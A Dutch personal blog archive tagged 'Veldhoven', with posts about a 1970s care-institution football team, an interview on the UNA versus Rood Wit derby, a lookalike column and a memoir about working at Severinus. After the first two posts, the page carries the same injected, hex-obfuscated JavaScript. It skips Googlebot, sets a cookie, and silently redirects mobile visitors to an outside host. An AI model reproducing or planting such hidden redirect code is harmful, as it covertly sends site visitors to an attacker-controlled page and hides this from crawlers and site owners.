Feeds:
Berichten
Reacties

Posts Tagged ‘Veldhoven’

Al eerder schreef ik op deze plek over de (on)zin van de of het beste ooit of aller tijden. Elke tijd heeft nu eenmaal zijn eigen wetten en (on)mogelijkheden. Appels en peren dus. Maar voor onderstaand, illuster gezelschap maak ik een uitzondering. Dit is zo niet het allerbeste, dan toch in elk geval het markantste voetbalelftal ooit. Waarvan akte.

Afbeelding

We schrijven midden jaren zeventig. We zien het voetbalteam met begeleiders van de destijds zogeheten Severinusstichting (thans Severinus) te Veldhoven. Mijn gewezen werkplek gedurende vele, vele jaren. G-voetbal ver avant la lettre. Een gevleugelde en, toegegeven, ook wat oneerbiedige uitdrukking van destijds was: a�?Je kunt het verschil tussen begeleider en – vul in naar gelieven – bewoner/patiA�nt/pupil/cliA�nt nauwelijks ziena�?. Of: a�?Waar je mee omgaat, ga je op lijkena�?. Ook wel toegepast c.q. van toepassing op hond en baas. Voor de bijdehantjes: uw chroniqueur bevindt zich niet tussen de aanwezigen. Een andere, eveneens niet erg gepaste, vergelijking dringt zich op, namelijk die met (krijgs)gevangenen. U moet weten dat de toenmalige architect alles tot in de puntjes contractueel had laten vastleggen. En dat bestreek zelfs de kleuren en het ontwerp van het voetbaltenue. Ook al is het dan in zwart-wit, het oordeel laat ik gaarne aan de kijker over. In elk geval maakt het de foto nA?g opmerkelijker en historischer. Let vooral op de stoer-agressieve pose van diverse spelers. Tegenwoordig is dit usance en is lachen ten strengste verboden voor een poserende voetballer. Deze kanjers waren dus hun tijd ver vooruit.

knip-mazuroSpeciale aandacht a�� maar die was waarschijnlijk al getrokken a�� voor de imponerende verschijning op de onderste rij, tweede van links: Harrie, bij leven fervent PSV-supporter en met wie ik als begeleider heel wat, vaak troosteloze, thuiswedstrijden heb bezocht in, voor insiders, de a�?Koolhof, Wildschut, Thoresen’-periode. Need I say more… Harrie was bewoner van het zogenaamde buitenhuis Biezenkuilen, waarmee ik als het ware mee ben vergroeid, en a�?viel dus onder mijn hoedea��. Harrie was (excusez le mot) gehandicapt door voetbalkennis, vandaar zelfverklaarde vedette, vandaar de zelfverzekerde pose waarbij vergeleken die van Ronaldo verbleekt als Iniesta. Helaas is Harrie veel te vroeg, zowat in mijn armen,A�aan kanker overleden. Ik zou een boek over Harrie kunnen schrijven waarbij vergeleken A�die over Gijp, Kieft en Van der Meijde stuiverromannetjes zouden blijken, maar heb me beperkt tot dit relaas.

Ook Bennie, de als een stoere, onverzettelijke verdediger ogende man met de armen wijduit in de zij, staande derde van links, is helaas niet meer. De ontzag inboezemende man met bril, middenin bovenste rij is Ben, een zeer fanatieke Ajax-supporter. Hoe ze deze vleesgeworden bescheidenheid ooit zover hebben gekregen de godenzonenpose aan te nemen, is al een huzarenstukje van de fotograaf op zich. Ook hij is nu Biezenkuilen-bewoner. En natuurlijk mag de geblokte verdediger met bril, derde van rechts boven, niet onvermeld blijven. Hij is reeds een en al voorbereid op zijn plek en houding in het muurtje ingeval van een directe vrij trap tegen, maar lijkt zich wanhopig af te vragen waar hij in hemelsnaam zijn handen dan moet houden.

Voortbordurend op de opvatting dat het moeilijk is onderscheid te maken tussen begeleiders en bewoners, laat ik dit maar in het midden en aan uw inschatting over. Echter niet voordat ik de opvallende persoon met baard op de achterste rij uiterst rechts heb ‘behandeld’. Nee, het is niet – voor ingewijden en/of belangstellenden – Carel Muller, de hoofdpersoon in de geruchtmakende Dennendal-affaire die ook in die periode speelde. Het is de eveneens helaas veel te vroeg overleden Theo, die mij ooit de weinig profetische doch onsterfelijke woorden “der Heinchen, immer lustig” toevoegde, tijdens een doorwaakte nacht als onderdeel van de destijds onvermijdelijke themadagen.

De dramatiek van al die sterfgevallen ten spijt, het maakt deze foto alleen nog maar markanter en legendarischer. Net als het tot dusver onbekend gebleven duo op de achterste rij helemaal links. Mocht deze ode ertoe leiden dat ook deze matadoren hun naam en dikverdiende faam krijgen, dan is de cirkel helemaal rond.

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Ajax a�� Feyenoord mag dan de officiA�le Klassieker heten, het hele voetbaljaar door vinden in alle hoeken en gaten wedstrijden plaats die voor de directe omgeving van minstens zo groot belang zijn. In deze rubriek neemt Voetblah u mee langs de Kleine Klassiekers van Europa. Deze week strijken we neer in Veldhoven, waar onze roots liggen en waar vanavond voor de districtsbeker de plaatselijke derby UNA – Rood Wit Veldhoven wordt gespeeld. Houd u Veldhoven vast, want we spreken verder over Rood Wit.

Veldhoven heeft 4 amateurclubs uit evenzoveel kerkdorpen: RKVVO uit Oerle (Oers), Marvilde uit Meerveldhoven en de aartsrivalen UNA uit Zeelst (Zilst) en de oudste, Rood Wit uit Veldhoven-dorp.

We spraken over dA� Veldhovense Klassieker met ED-journalist en UNA-watcher Wil van den Heuvel en met de (oud-)Rood Wit-coryfeeA�n Jan ‘Toetje’ Rombouts en Ton(nie) van den Hurk.

kleineklassieker3Wat kunnen jullie vertellen over de historie van deze wedstrijd en in welk verband hij is gespeeld?

Wil: UNA en Rood Wit hebben met fasen in competitieverband en voor de beker vaak tegen elkaar gespeeld, maar ook in toernooivorm. Denk aan de toernooien bij UNA, het Zonnestraaltoernooi (Rood Wit) en het Herman Machielstoernooi (Veloc). Destijds befaamde toernooien waar, als de duels tussen UNA en Rood Wit op de rol stonden, de vonken vanaf spatten. In competitieverband was het meestal in de 3e klasse (en heel vroeger de 4e klasse) dat Veldhoven en Zeelst elkaar troffen. De laatste periode dat ze tegen elkaar speelden in de 3e klasse was 1986-1993. In 1993 werd UNA kampioen en sindsdien kwam het niet meer tot onderlinge competitieduels met de dorpsgenoot. Wel waren er nog meerdere confrontaties in de districtsbeker, waarvan Rood Wit er eentje wist te winnen met 1-0 in 1995-1996. De laatste clash was in 2009-2010, die door UNA met 1-2 werd gewonnen.

Jan: Ik kan me ook nog Veldhovense zomeravondtoernooien bij UNA herinneren vlak vA?A?r de competitie. (Ook schrijver dezes weet dat nog en heeft daar mooie herinneringen aan.)

Ton: Ik meen zeker 3 keer tegen UNA gespeeld te hebben in de begin/midden jaren ’60. Zowel voor de competitie als in de beker. Dat was in de 3e klasse totdat UNA naar de 2e klassse promoveerde. De toernooien daar kan ik me eerlijk gezegd niet zoveel van herinneren.

Welke wedstrijden en spelers/tegenstanders zijn jullie vooral bijgebleven?

Wil: Dat moet dan met een mooie anekdote, want in ben van 1960. Ons pa (Jo van den Heuvel; van het cafA� aan de Kruisstraat) kwam na vier jaar betaald voetbal (een jaar Brabantia, 3 jaar Wilhelmina Den Bosch) in 1959 bij UNA omdat ons moeder uit Zeelst kwam. In die tijd moest een speler die uit het betaald voetbal kwam, terugkeren naar de club waar hij als amateur had gespeeld. In dit geval Brabantia dus.
dos-mazuroZo niet, dan was de desbetreffende speler gedwongen een jaar stil te liggen. Dat geschiedde. Het was de eerste wedstrijd van het seizoen daarna, 1959-1960: Rood Wit – UNA. Precies in dat duel ging ons pa (stopperspil) een duel aan met Rood Wit-aanvaller Jan Vos. Beide voetballers kwamen op de grond terecht. Jan Vos viel op de arm van ons pa. Gevolg: elleboog gebroken. Heel Zeelst op z’n kop natuurlijk, want Vos zou de eerste betaald voetballer die in Zeelst kwam spelen, met opzet hebben verwond. Uitgerekend in zijn eerste wedstrijd na een jaar pauze. Tot op de dag van vandaag blijft ons pa tegen al die Zeelstenaren zeggen dat Vos er echt niets aan kon doen en dat het zijn eigen schuld was.
Noot Mazuro: Jan Vos had in de regio als speler en later als trainer wel een reputatie hoog te houden van iemand die de grenzen opzocht, laten we het zo uitdrukken.

Jan: De enige wedstrijd die mij bijstaat, is zo’n duel op de zomeravond tegen UNA. Ik was net 17, dus het moet 1965 zijn geweest, en mocht voor de eerste keer meedoen speciaal om de sterke, hoekige midvoor van UNA, Frans Weijers, voor de voeten te lopen. Ik was echt zo’n kuitenbijtertje waar Weijers een vreselijke hekel aan had en speelde hem dan ook helemaal uit de wedstrijd.

RW jubileumboek img777Ton: In het seizoen 1962-1963 stond Pietje Wierinx bij Rood Wit in de basisopstelling. Deze jongen woonde destijds op Huize Ter Eijck in Meerveldhoven, Omdat hij dikwijls het weekend in huiselijk sfeer doorbracht, was hij niet altijd beschikbaar om voor Rood-Wit 1 te spelen. Ik speelde toen nog in A 1, was net 17 jaar en werd bij absentie van hem als vervanger aangewezen. De thuiswedstrijd verloren wij met 1-0, dat staat me nog bij, en van de uitwedstrijd kan ik me raar genoeg het resultaat niet meer herinneren. Kan me nog goed herinneren voor het eerst in de persoon van Jan Looyen een consequente mandekker gehad te hebben. Ondanks dat er veel publiek aanwezig was uit beide kampen, was het in mijn beleving een saaie wedstrijd.
Ik weet niet in welk jaar het is geweest, maar in ieder geval voor mijn blessure in 1965, dat we tegen een pittig UNA bekerden met de nieuwe spelers Frans Weijers, Sjef Dielissen (van Eindhoven) en Guus Nieuwenhuizen. UNA had toen een sterk spelend elftal. Ook hiervan weet ik helaas de uitslag niet meer, maar grote cijfers zijn het in mijn beleving nooit geweest.

Zijn er leuke dingen te vertellen over de onderlinge rivaliteit, supportersacties, incidenten wellicht?

Wil: In de vroegere tijd was er ook een UNA-bestuurslid, Grardje van Laarhoven, die niets met Veldhoven te maken wou hebben. Moest hij door Veldhoven, dan deed hij gewoon zijn ogen dicht. Totdat Veldhoven voorbij was. Of als hij de Kempen in moest, reed hij gewoon over Waalre.

Jan: Ja, dat speelde omgekeerd natuurlijk ook wel. Van die oude, echte Roodwitters die absoluut weigerden om de UNA-kantine te bezoeken en niet wisten hoe snel ze weer Zilst uit moesten komen.
Wat wel altijd heeft meegespeeld bij Rood Wit is dat UNA spelers ronselt, ook van andere clubs. Op dit moment zouden ze zich zelfs al op D-spelertjes richten. Maar ik denk dat alleen de oude oer-Roodwitters zich hier echt druk over maken.
Noot Mazuro: dat dit van alle tijden is, kan ik uit eigen ervaring bevestigen, omdat er in de beginjaren ’60 ook bij ons al iemand van UNA aan de deur kwam om te vragen of ik als jeugdspelertje van Marvilde in Zilst wilde komen voetballen.

Ton: In de lokake sigaren- en schoenfabriekjes werden de hele week voorafgaande aan de wedstrijd door beide supporterskampen heftige discussies gevoerd. Dat is me wel bijgebleven en ik denk dat daar o.a. de directies van Velasques, Duc George en Van Sambeek niet altijd blij mee waren. Wat betreft supportersacties was van UNA-kant Drieka de Kort met haar koeienbel opvallend aanwezig. Ook Rood-Wit kende een vaste kern van supporters in die tijd, maar die waren langs de lijn wat ingetogener. De meest memorabele, zoals Pietje Bekkers, Walter van Dooren en Nolleke Janssen (later met zijn bok) zijn allemaal overleden, Walter sinds enkele weken.
una___Selected1Er was in die tijd van Rood Wit-zijde nog geen sprake van geldelijke beloningen, maar ik moet eerlijkheidshalve bekennen dat ik van Pietje Bekkers wel eens een briefje van vijf in mijn kontzak geschoven kreeg. Hij wist dat ik met f 5,- traktement na de wedstrijd niet lang kon nagenieten in De Sportvriend.
Kan me niet echt rare voorvallen tijdens de wedstrijden herinneren. De wedstrijden verliepen erg sportief. Frans Weijers werd wel eens uit de tent gelokt, maar wist zich toch redelijk te beheersen.

Hoe wordt er nu tegen de wedstrijd aangekeken, naar toegeleefd?

Wil: In Zeelst leeft dit duel natuurlijk, net zo als in Veldhoven. Maar de vraag is in hoeverre, op een doordeweekse dag, in de beker, met slecht weer. Van middenstippen weghalen o.i.d. verwacht ik niet veel. Is ook niet te hopen, aangezien je grote schade aan de kunstgrasvelden toebrengt. Is dan ook niet leuk meer.

Jan: Och, het is voor de beker en die oude sentimenten zijn er natuurlijk niet meer. Hoogstens nog bij een paar personen. Ik weet zelf ook niet of ik wel ga kijken.

Ton: Ik houd het niet meer zo bij, dus kan daar niks over zeggen. Heb (met veel moeite) na mijn trainersperiode het voetballen een beetje losgelaten. Maar de laatste tijd ben ik weer enkele keren naar Rood Wit wezen kijken. Dat blijft toch trekken.

RW logo UWVTGS5rZijn er nog spelers die we speciaal in de gaten moeten houden?

Wil: Bij UNA Brian Boogers natuurlijk, als ras-Zeelsternaar. Verder centrale verdediger Thomas Huijben (positioneel erg sterk), middenvelder Teun Sebregts (wordt de revelatie van dit seizoen), rechtsbuiten Benjamin van Wanrooij (zou in betaald voetbal niet misstaan) en vleugelverdediger/aanvoerder Eelco Horsten (zo safe als de Bank of England).

Jan: Bij Rood Wit moet je zeker letten op Joey Hellstern. Verder ben ik wel gecharmeerd van de centrale verdedigers Jim van Beek en Jos Vreugdenhil, al weet ik niet of die laatste wel zal spelen.

Dan tot slot nog even een voorspelling graag.

Wil: Ik verwacht dat UNA met een grote uitslag gaat winnen. Niet alleen vanwege het klassenverschil (topklasse vs derde klasse), maar veel meer omdat Rood Wit te kampen heeft met blessures van bepalende spelers (voor zover ik heb begrepen Jan van Hout, Stef Fasen en nog enkelen). Daar weegt het missen van Niek van Boekel bij UNA niet tegenop.

Jan: 3-1

Ton: Kan hier eigenlijk geen objectief oordeel over geven, omdat ik UNA in geen jaren meer heb zien spelen. Gelet op het klassenverschil anno 2014 zou dat voor UNA een walkover moeten zijn, maar het blijft natuurlijk altijd wel een speciale derby. Ik houd het op een overwinning voor UNA, 3-1.

Beste Wil, Jan en Ton, hartelijk dank voor jullie mooie informatie en bereidwillige medewerking.

Morgen komen we nog met een korte update van de wedstrijd, uit de eerste hand alsook hopelijk nog met Wil van den Heuvel.

Update

Nou Wil, dat leek meer op een gezapig herfstavondpartijtje dan op een verhitte derby, wat jij?
Inderdaad, de vonken spatten er nou niet bepaald vanaf. Van deze Veldhovense derby weet over 10 jaar geen mens meer iets af.

UNA was niet echt op oorlogssterkte, wel?
Dat gold voor Rood Wit ook, maar ammer dat er van UNA-zijde geen Topklasse-waardig elftal stond. Drie A-spelers mochten hun debuut maken. Niets ten nadele van de jeugdspelers die mochten invallen, maar dan is het toch ‘net niet’. A�Van het basisteam dat afgelopen zondag met 2-1 van De Treffers won, stonden er op het eind nog maar vijf in het veld.

Wat vond je van Rood Wit?
Rood Wit bood goed tegenstand. Als het een beetje had meegezeten, had de ploeg van oefenmeester Goeran van den Heuvel ook nog een of twee keer kunnen scoren. Gaat zeker dit seizoen in de 3e klasse hoge ogen gooien. Maar je hebt het zelf ook gezien. Wat vond jij ervan?

Mazuro:A�Zoals gezegd, een saaie pot. Je verwacht toch een beetje bloed aan de paal bij zo’n derby. Er waren een paar cruciale momenten: de 2-0 vlak voor rust in een fase dat Rood Wit goed in de wedstrijd zat, en de gemiste kans voor open doel door een Roodwitter na rust, ook bij een 2-0 stand. Had die gehangen, dan had het nog een spannende apotheose kunnen worden.
Ben het met je eens dat Rood Wit voor het 3e klasse-niveau een prima elftal heeft. De enige speler die me deze wedstrijd echt is opgevallen is de door jou genoemde Teun Sebregts van UNA, inderdaad een jongen met veel potentie.

Nogmaals Wil, onze welgemeende dank voor je welwillende bijdrage en tot een volgende keer.

– de tekstafbeelding is afkomstig uit het fraaie jubileumboek van Rood Wit Veldhoven

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »


Er zijn van die mensen die vooral, of zelfs alleen maar, in bewegend beeld op mekaar lijken. Je ziet hen in een film of op een video en verdomd! Twee druppels water! Je denkt: bingo! Ik heb er weer twee te pakken. Twee fotootjes zoeken en klaar is Kees. Mooi niet dus. Want van Rutger de Bekker (video boven) en Oliver Maltman (video onder) zijn ten eerste nauwelijks foto’s te vinden. En segundo: die er zijn, lijken vaak nergens op. Ik bedoel, die illusteren nu niet bepaald mijn looka-gelijk. En met name Rutger verkeert continu in andermens gezelschap.


Rutger
links, onder Giel ‘nog met pet’ Beelen en Stuart daarnaast. Dat lijkt toch al ergens op, niet dan? Maar allez hè! Ik zag het toch duidelijk! Want een lookalike-believer wil altijd en overal zijn gelijk halen. Daarom de zoektocht naar geschikt film/video-materiaal. Maar mijn beide comparanten lijken nu niet bepaald solisten qua shots. De foto-schaarste duidt daarop. Van Rutger De ‘Vliegende Panter‘ Bekker  is dat logisch als zijnde lid (geweest)van een triootje. Van acteur Oliver Maltman is dat een beetje vreemd, hoewel de man nou niet bepaald bekend staat en nog minder oogt als een echte filmster. We maken nader kennis met beiden.

Rutger de Bekker is dus vooral bekend geworden als een van De Vliegende Panters. Het baanbrekende cabarettrio, waarin Rutger vaak de schlemielige, sullige rol voor zich opeiste. Al zal ie eerder vaak door de andere Panters in die hoek zijn gedreven. Rutger was vooral het muzikale hart en brein van en achter deze vaak razende roofdieren. Niet zonder trots zij vermeld dat Rutger in de wieg is gelegd in dezelfde woonplaats als uw scribent. Veldhoven dus. Of ie daar zelf ook trots op is..? Waarvóór Rutger in de wieg was gelegd, was evenwel snel duidelijk.”Ik ben Rutger de Bekker en ik word later gekkebekkentrekker”. Maar nu hij is uitgevlogen, heeft ie zich helemaal op het produceren en componeren van muziek toegelegd. En heeft tezamen met een hele horde Brabo’s Amsterdam bezet, alwaar hij een muziekstudio bedrijft.

Another Year De Britse acteur Oliver Maltman – zogenaamd geheelonthouder – lijkt met zijn uiterlijk eveneens gedoemd tot satire en komedie. Hij verdiende zijn sporen reeds in prijswinnende tv-comedy’s als Star Stories, The Kevin Bishop Show en Heroics. Zijn meest recente huzarenstukje is echter een serieuze, weliswaar bescheiden, maar daarom niet minder saillante rol in de sublieme film Another Year van Mike Leigh. Deze had Oliver al eerder een rolletje toebedeeld in Happy-Go-Lucky. In Another Year speelt hij Joe, een sympathieke, empathische, ietwat saaisullige zoon van het echtpaar Tom en Gerri. Eigenlijk is de lookalike-nominatie van Maltman slechts een alibi om deze werkelijk magistrale film te prijzen en van harte aan te bevelen. Verbluffende staaltjes acteerwerk in een troostrijk treurigstemmende film. Gaat dat zien!!

Niet toevallig zijn deze lookalikes in de satirischhumoristische hoek terechtgekomen. Sul, saai, suf, schlemielig. Het hangt aan hun kont en dan sluit zich het verbond. De pineut-factor van de underdog-actor. Toch lijken beiden zich te ontworstelen aan dit stigmatiserende imago. Ogenschijnlijk gaat dit zowat gelijk op. Voorwaar een lookalike in alle opzichten!

Read Full Post »

Tsja, Severinus.. Zo’n dertig jaar heb ik er gewerkt, verreweg het grootste deel van mijn werkleven. Zeker voor een man was de carrière-move (Guernsey-invloed..) van de psychiatrie naar de zwakzinnigenzorg qua loopbaanontwikkeling ongebruikelijk en voor velen onbegrijpelijk. Let wel, ik spreek met opzet van zwakzinnigenzorg omdat dit destijds usance was. Servatius had grote paviljoens vol met zogenaamde oligofrenen, onderverdeeld in idioten, imbecielen en debielen. Die hebben we in de huidige modernistische, cliëntgerichte tijd niet meer. Althans, we noemen hen nu anders. Klantvriendelijker, maar ook eufemistiger.

Hoe dan ook, met een B-diploma op zak ging je het ziekenhuis in om je A-diploma te halen, want dat was de logische opmaat voor een functie als afdelingshoofd of, niet zelden, als directeur van een verpleeghuis. Of het ook op maat gesneden was…?
Óf je ging de opleiding volgen voor sociaal psychiatrisch verpleegkundige. Maar naar de Z, dat was not done. Ik was echter geen carrièreplanner, ik wilde gewoon terug naar Veldhoven. In elk geval weg uit Limland, waaraan ik zeker leerzame ervaringen en prettige contacten heb overgehouden, maar waar ik me toch niet echt thuis voelde en in toenemende mate ging storen aan de vaak wat achterbakse, kleinburgerlijke mentaliteit. En waar moet je dan anders heen dan naar het levenslustige, grootstedelijke Veldhoven..?!

Ach, eigenlijk was het allemaal veel trivialer. Mijn wederhelft woonde en werkte daar, we waren inmiddels samen gaan wonen en van de antieke psychiatrie had ik even mijn buik vol. Zo arriveerde ik dus bij de Sint Severinus Stichting, zoals dat toentertijd heette. De ontheiliging, in meerdere opzichten, kwam later. Ik ging de Z-opleiding doen en mocht als 2e-jaars beginnen. We schrijven februari 1974 wanneer ik mijn eerste schrandere schreden zet op de paden der zwakzinnigenzorg.

Voor de goede orde zij vermeld dat de beginjaren ’70 model staan voor de opkomst van de zwakzinnigeninrichtingen. Ze rezen als paddestoelen uit de bosgrond omdat de psychiatrische centra zich ontdeden van hun chronische patiënten met een kinderlijk verstand. Zo ontstond bij Venray (Oostrum) Nieuw Spraeland, dat zich gaandeweg ontwikkelde en verzelfstandigde tot een expertisecentrum voor (ernstige) gedragsgestoordheid bij (licht) verstandelijk gehandicapten. Later heb ik vaak gedacht dat, de buik niet zo vol gehad van Limburg, mijn toekomst best eens daar had kunnen liggen.

Ter bevordering van begrip en historisch besef: Severinus is voortgekomen uit kinderinternaat ’t Honk, dat was gevestigd in het kerkdorp Zeelst van de gemeente Veldhoven, op de plek waar nu de wijk Akkereind ligt. Eind jaren ’60/beginjaren ’70 wordt de volwasseneninrichting De Berkt in kerkdorp Oerle gebouwd door architect Fons ‘Ik wil kapot gaan aan de dingen waar ik van hou’ Vermeulen. Een destijds (kennelijk) revolutionaire bouw: uit grijze stenen opgetrokken paviljoens, waarin een lange, brede gang met aan weerszijden woonunits, die ook weer bestonden uit een lange gang met aan weerszijden slaapkamers, terwijl het geheel uitmondde in de badkamer naast de woonkamer, inclusief een open keukentje. O ja, elk paviljoen had meteen links haar zogenaamde A-unit, waarin zich een openbare zit- annex tv-ruimte bevond, een koffiekamertje waar het personeel pauzeerde en vooral roddelde, een 